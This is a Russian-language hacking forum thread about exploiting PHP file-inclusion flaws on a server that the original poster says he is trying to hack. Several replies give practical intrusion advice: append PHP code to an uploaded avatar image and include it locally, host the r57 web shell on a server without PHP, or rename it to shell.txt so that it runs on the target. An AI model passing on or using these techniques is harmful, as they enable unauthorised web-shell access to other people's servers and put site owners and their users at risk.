Несколько моментов про инклюды

[Dark_G]

Нашел на сервере скрипт, позволяющий просматривать любые файлы на сервере и инклудить php скрипты. Попытался инклудить r57 шелл с сайта на fatal.ru, но почему-то не получилось. На сервере стоит Windows 2003 server. Не подскажете что можно в данном случае сделать?

[n0ne]

значит плохо пытался, пытайся лучше, р57 ничем не хуже других пхп, и вообще если у тя не получаеца залить, с чего ты взял что вообще можно пхп инк делать?

[Constantine]

Ну если позволяет инклудить это очень хорошо. Кстати, не приходило в голову что инклуд может быть локальным, позтому конструкция http://site.ru/file=http://othersite.ru/r57.php не работает. Залей php шелл на тот сервис, можт там есть форум или можно подгружать файлы.

[Termin@L]

Constantine дело говорит, просто иногда перед тем как инклудить скрипт или файл, сначала проверяют его существование, поэтому инклудить можно только локально... если есть на сайте форум и можно грузить аватары с компа, то берёшь картинку открываешь в блокноте и в конец добавляешь пхп код, грузишь и инклудишь - вуаля. правда не везде покатит, но как вариант

[Lesnoy_chelovek]

Так, а мне вот интересно, мой шелл нафига трогать и палить, а?

[Dark_G]

Меня больше другое волнует. Когда, я допустим, инклудю пхпшник, в котором, к примеру выполняется только phpinfo(), он мне выдает результат не от того сайта, который я пытаюсь взломать, а от того, на котором залит пхпшник. Почему же он все таки выполняется на втором сайте а не на аттакуемом?

[Termin@L]

Ну это фиг знает, значит это не инклуд, либо ты что-то перепутал...

[Spyder]

2 Dark_G
видимо это не инклуд, а просто редирект на другую страничку. Такая фигня на вэб каталогах есть

[Dark_G]

2 Dark_G
видимо это не инклуд, а просто редирект на другую страничку. Такая фигня на вэб каталогах есть
Если редирект, то только из фрейма. Но все равно с этого ведь можно что-то поиметь! Просмотр файлов, как никак.

[m0nzt3r]

Меня больше другое волнует. Когда, я допустим, инклудю пхпшник, в котором, к примеру выполняется только phpinfo(), он мне выдает результат не от того сайта, который я пытаюсь взломать, а от того, на котором залит пхпшник. Почему же он все таки выполняется на втором сайте а не на аттакуемом?
не догадываешь почему? :D это потому что тот хост, где у тебя пхп скрипт, поддерживает пхп скрипты.А ты инклудишь его :D лол..надо хостинг, который не поддерживает пхп

[VDShark]

Да)))) Бывает и такое, инклудить пытаются, а он еще на твоем серваке выполняется) Возьми сервак без поддержки пхп )

[Talisman]

narod.ru )))))

[kair]

Ага, я вот тоже так думаю, что хостинг должен быть без php.
Если не трудно, дай ссылку!

[Abra]

хостинг должен быть без php.
Извращенцы вы все.
просто переименовать в shell.txt не проше?
инклуду как-то пофиг на расширение, а серверу нет.

[VDShark]

=) Ну нужно же погонять человека, пусть знает где хостинги брать) А до переименования и сам мог бы додуматься, это вытекает из всего вышесказанного=/